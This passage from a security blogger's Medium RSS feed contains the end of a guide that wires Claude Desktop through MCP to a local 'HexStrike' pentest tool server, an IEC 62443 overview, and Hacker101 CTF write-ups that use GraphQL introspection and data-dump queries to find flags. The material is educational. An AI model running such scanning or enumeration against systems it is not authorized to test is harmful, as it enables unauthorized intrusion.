src="https://cdn-images-1.medium.com/max/1024/1*CtXRRqnX5mcmjuqIgFmVjQ.png" /></figure><h3>6. Configure Claude Desktop MCP</h3><p><a href="https://github.com/aaddrick/claude-desktop-debian">https://github.com/aaddrick/claude-desktop-debian</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-eZfAymrqhbutsYTqFUztw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yd8Ds2Lnpnx52hq4ATa9Rw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yepiB-m4iV7C_UfubFYs9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-l4E09CFu6H0aj8cc_IbJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eT5yRQ5fq84BsUbmRDl6ow.png" /></figure><p>Create or edit the configuration file:</p><pre>~/.config/Claude/claude_desktop_config.json</pre><p>Add the following:</p><pre>{<br>  &quot;mcpServers&quot;: {<br>    &quot;hexstrike-ai&quot;: {<br>      &quot;command&quot;: &quot;/opt/hexstrike-ai/hexstrike-env/bin/python&quot;,<br>      &quot;args&quot;: [<br>        &quot;/opt/hexstrike-ai/hexstrike_mcp.py&quot;,<br>        &quot;--server&quot;,<br>        &quot;http://127.0.0.1:8888&quot;<br>      ],<br>      &quot;timeout&quot;: 300,<br>      &quot;disabled&quot;: false<br>    }<br>  }<br>}</pre><h3>7. Restart Claude Desktop</h3><p>After editing the configuration:</p><p>Restart <strong>Claude Desktop</strong> so it reloads the MCP server.</p><h3>8. Verify MCP Connection</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CQm8WxT5TpX3TfOcoKCWAw.png" /></figure><h3>Final Architecture (Simple Explanation)</h3><p>The setup connects <strong>Claude Desktop</strong> with a local AI automation server called <strong>HexStrike</strong>.</p><p>This allows the AI to run cybersecurity tools on your machine.</p><pre>           ┌───────────────────────┐<br>           │    Claude Desktop     │<br>           │   (AI Assistant UI)   │<br>           └─────────────┬─────────┘<br>                         │<br>                         │ MCP (Model Context Protocol)<br>                         │<br>           ┌─────────────▼─────────┐<br>           │   hexstrike_mcp.py    │<br>           │   MCP Bridge Script   │<br>           │ (runs in Python venv) │<br>           └─────────────┬─────────┘<br>                         │<br>                         │ HTTP API Requests<br>                         │<br>           ┌─────────────▼─────────┐<br>           │  hexstrike_server.py  │<br>           │   Flask API Server    │<br>           │   running on port     │<br>           │    127.0.0.1:8888     │<br>           └─────────────┬─────────┘<br>                         │<br>                         │ Executes security tools<br>                         │<br>           ┌─────────────▼─────────┐<br>           │   Pentesting Tools    │<br>           │                       │<br>           │  nmap                 │<br>           │  nuclei               │<br>           │  httpx                │<br>           │  ffuf                 │<br>           │  subfinder            │<br>           │  recon scripts        │<br>           └───────────────────────┘</pre><h3>Result</h3><p>You now have a <strong>local AI-driven offensive security automation platform</strong> running on Debian.</p><p>Claude can interact with your local machine through MCP and trigger automated reconnaissance, scanning, and analysis workflows.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c7b31ef13c17" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IEC 62443: The “Gold Standard” for Industrial Security Simplified]]></title>
            <link>https://medium.com/@dasmanish6176/iec-62443-the-gold-standard-for-industrial-security-simplified-7e920937bc9f?source=rss-85853724a5d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e920937bc9f</guid>
            <category><![CDATA[ot-vapt]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ics-scada]]></category>
            <category><![CDATA[iec-62443]]></category>
            <dc:creator><![CDATA[Dasmanish]]></dc:creator>
            <pubDate>Mon, 23 Feb 2026 18:05:45 GMT</pubDate>
            <atom:updated>2026-02-23T18:05:45.747Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bf4MKcb91J12yqZYLZwt5Q.png" /></figure><h3>1. Stakeholders (Roles and Responsibilities)</h3><p>The first category defines who is responsible for security within an industrial environment. IEC 62443 recognizes that cybersecurity is not owned by one group; instead, it is shared across different roles.</p><p><strong>a. Asset Owners</strong>. These are the companies that own and operate facilities such as power plants, manufacturing plants, or oil refineries. Their primary responsibility is risk assessment. They determine what systems are critical, what threats are relevant, and what level of security is required. In simple terms, they decide how much protection is necessary based on business impact.</p><p><strong>b. Product Suppliers</strong>. These are the manufacturers that build industrial devices such as PLCs, controllers, and automation equipment. Their responsibility is to ensure that their products meet defined security requirements through secure development and proper testing. Security must be built into the product before it is delivered to the customer.</p><p><strong>c. System Integrators</strong>. These teams design and implement the overall control system. Even secure products can become vulnerable if integrated incorrectly. System integrators ensure that devices are properly configured, securely connected, and architected in a safe manner.</p><p><strong>d. Service Providers</strong>. These entities are responsible for ongoing maintenance and support. Industrial systems operate for many years, and security must be maintained throughout their lifecycle. Service providers handle updates, patching, monitoring, and long-term system security.</p><h3>2. Nature of Guidance (Philosophy)</h3><p>The second category explains how IEC 62443 provides its guidance.</p><p><strong>a. Descriptive Standards</strong>. IEC 62443 focuses on what needs to be achieved rather than prescribing specific tools or technologies. For example, it may require protection against unauthorized access but does not mandate a specific firewall brand. This outcome-based approach allows organizations flexibility.</p><p><strong>b. Flexibility and Scalability</strong>. Because the standard is descriptive, it can be adapted to different industries and system sizes. A small manufacturing unit may implement simpler controls such as patch management, while a large power grid may require advanced network segmentation. The goal remains the same, but the scale of implementation varies according to risk and complexity.</p><h3>3. Security Level Targets (SLT)</h3><p>The third category defines how strong security must be. Security Level Targets classify protection based on the type of threat actor being addressed.</p><p><strong>a. SLT1</strong>, which addresses accidental or casual violations. The goal at this level is to prevent operator mistakes or unintentional misuse. Controls such as strong passwords, user awareness training, and basic network segmentation are typically sufficient.</p><p><strong>b. SLT2</strong>, which addresses low-skilled intentional attacks. This includes basic malware or phishing attempts. At this level, organizations implement controls such as firewalls, endpoint protection, and multifactor authentication.</p><p><strong>c. SLT3</strong>, which focuses on defending against sophisticated planned attacks. This includes threats like ransomware or insider abuse. Controls such as intrusion detection systems, regular security patching, and role-based access control are necessary.</p><p><strong>d. SLT4</strong>, which protects against advanced persistent threats. These are highly capable attackers, such as nation-state actors. At this level, organizations may implement zero trust architecture, continuous monitoring, and air-gapped systems to safeguard critical operations.</p><h3>4. Performance Metrics (Measuring Success)</h3><p>The fourth category ensures that security is measurable and verifiable.</p><p><strong>a. Security Target Achieved (SLA)</strong>. This represents the percentage of required controls that have been implemented. If a system requires a set of controls for a specific security level and most of them are in place, the resulting percentage indicates how close the organization is to meeting its target.</p><p><strong>b. Vendor Compliance</strong>. Manufacturers demonstrate that their products meet specific security levels through secure development practices, testing, and certification. This allows asset owners to select equipment that aligns with their required Security Level Target.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e920937bc9f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BugDB v2]]></title>
            <link>https://medium.com/@dasmanish6176/bugdb-v2-7f2b9d89869d?source=rss-85853724a5d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f2b9d89869d</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacker101]]></category>
            <category><![CDATA[graphql]]></category>
            <dc:creator><![CDATA[Dasmanish]]></dc:creator>
            <pubDate>Tue, 09 Sep 2025 07:47:46 GMT</pubDate>
            <atom:updated>2025-09-09T07:47:46.066Z</atom:updated>
            <content:encoded><![CDATA[<p>HackerOne’s Hacker101 easy level CTF walkthrough</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CWfIyrNEMNEpqbfCC53k7A.png" /></figure><h3>Step 1: Discover available queries</h3><p>Command:</p><pre>{<br>  __schema {<br>    queryType {<br>      fields {<br>        name<br>      }<br>    }<br>  }<br>}</pre><p><strong>Explanation:</strong><br> This introspection query lists all available queries in the GraphQL API. From this, we can see queries like</p><ul><li>allBugs</li><li>allUsers</li><li>findUser</li><li>findBug</li></ul><p>This gives the <strong>first clue</strong> about objects in the system.</p><h3>Step 1a: Explore allBugs return type</h3><p>Command:</p><pre>{<br>  __type(name: &quot;Query&quot;) {<br>    fields {<br>      name<br>      type {<br>        name<br>        kind<br>      }<br>    }<br>  }<br>}</pre><p><strong>Explanation:</strong></p><ul><li>This tells us what each query returns.</li><li>Here, we see that allBugs returns [Bugs].</li><li>✅ This is how the term <strong>Bugs</strong> appears in the schema – it’s the object type representing each bug.</li></ul><h3>Step 2: Explore the Bugs type</h3><p>Command:</p><pre>{<br>  __type(name: &quot;Bugs&quot;) {<br>    name<br>    fields {<br>      name<br>      type {<br>        name<br>        kind<br>      }<br>    }<br>  }<br>}</pre><p><strong>Explanation:</strong><br> This tells us what a Bug object contains:</p><ul><li>id → unique bug ID</li><li>text → bug description</li><li>private → whether it’s hidden</li><li>reporter → the user who reported it</li></ul><h3>Step 3: Get all bugs</h3><p>Command:</p><pre>{<br>  allBugs {<br>    id<br>    text<br>    private<br>    reporter {<br>      username<br>    }<br>  }<br>}</pre><p><strong>Explanation:</strong><br> This fetches all bugs in the system. The output shows normal bugs and the one with the <strong>flag</strong> in the text field:</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f2b9d89869d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BugDB v1 & 
BugDB v2]]></title>
            <link>https://medium.com/@dasmanish6176/bugdb-v1-bugdb-v2-6ec6db69aa79?source=rss-85853724a5d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ec6db69aa79</guid>
            <category><![CDATA[hacker101]]></category>
            <category><![CDATA[graphql]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Dasmanish]]></dc:creator>
            <pubDate>Mon, 08 Sep 2025 09:54:56 GMT</pubDate>
            <atom:updated>2025-09-08T09:54:56.705Z</atom:updated>
            <content:encoded><![CDATA[<h3>BugDB v1</h3><p>HackerOne’s Hacker101 easy level CTF walkthrough</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G71tchXvXQCuQbg1T8aOFw.png" /></figure><p>Correct approach to GraphQL CTFs</p><ol><li>Check if introspection is enabled</li></ol><pre>{<br>  __schema {<br>    queryType {<br>      fields {<br>        name<br>        type {<br>          kind<br>          name<br>          ofType {<br>            kind<br>            name<br>          }<br>        }<br>      }<br>    }<br>  }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sbUlnnjcRzb6twMuAFweOg.png" /></figure><p>Inspect the Users type</p><pre>{<br>  __type(name: &quot;Users&quot;) {<br>    name<br>    fields {<br>      name<br>      type {<br>        kind<br>        name<br>        ofType {<br>          kind<br>          name<br>        }<br>      }<br>    }<br>  }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wC5TX-YirWZpjnBmNeZH8g.png" /></figure><p>Inspect the Bugs_ type</p><pre>{<br>  __type(name: &quot;Bugs_&quot;) {<br>    name<br>    fields {<br>      name<br>      type {<br>        kind<br>        name<br>        ofType {<br>          kind<br>          name<br>        }<br>      }<br>    }<br>  }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kLytxV0eRAI9JuajfZnnww.png" /></figure><p>Step 5: Build a useful query</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LbwwuT7PyvWmLoxNnCMLUQ.png" /></figure><h3>How I approach a GraphQL CTF Challenge</h3><h3>1. Run Introspection</h3><p>GraphQL often allows introspection, which reveals the API schema.</p><pre>{<br>  __schema {<br>    queryType {<br>      fields {<br>        name<br>      }<br>    }<br>  }<br>}</pre><p>This showed me the top-level queries:<br> node, user, bug, findUser, findBug, allUsers, allBugs.</p><h3>2. Check Query Return Types</h3><p>To understand what each query returns:</p><pre>{<br>  __schema {<br>    queryType {<br>      fields {<br>        name<br>        type { kind name ofType { kind name } }<br>      }<br>    }<br>  }<br>}</pre><p>Result:</p><ul><li>allUsers → UsersConnection</li><li>findUser → Users</li><li>allBugs → BugsConnection</li><li>findBug → Bugs_</li></ul><h3>3. Inspect Object Types</h3><p>Next, check what fields exist inside the Users type:</p><pre>{<br>  __type(name: &quot;Users&quot;) {<br>    fields { name type { kind name ofType { kind name } } }<br>  }<br></pre><p>Found: id, username, and <strong>bugs (Bugs_Connection)</strong>.</p><p>Then inspect the Bugs_ type:</p><pre>{<br>  __type(name: &quot;Bugs_&quot;) {<br>    fields { name type { kind name ofType { kind name } } }<br>  }<br>}</pre><p>Found: id, text, private, reporter.<br> ⚡ Key: <strong>text contains the flag</strong>.</p><h3>4. Query the Data</h3><p>Now I can dump users and their bug reports:</p><pre>query {<br>  allUsers(first:5) {<br>    edges {<br>      node {<br>        username<br>        bugs(first:5) {<br>          edges {<br>            node {<br>              id<br>              text<br>              private<br>            }<br>          }<br>        }<br>      }<br>    }<br>  }<br>}</pre><p>This revealed the hidden flag in one of the bug text fields.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ec6db69aa79" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[H1 Thermostat]]></title>
            <link>https://medium.com/@dasmanish6176/h1-thermostat-63521d9d08d2?source=rss-85853724a5d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/63521d9d08d2</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacker101]]></category>
            <dc:creator><![CDATA[Dasmanish]]></dc:creator>
            <pubDate>Mon, 08 Sep 2025 07:37:19 GMT</pubDate>
            <atom:updated>2025-09-08T07:37:19.851Z</atom:updated>
            <content:encoded><![CDATA[<p>HackerOne’s Hacker101 easy level CTF walkthrough</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JUum2HzBXCll_UWgNYPhZg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63521d9d08d2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>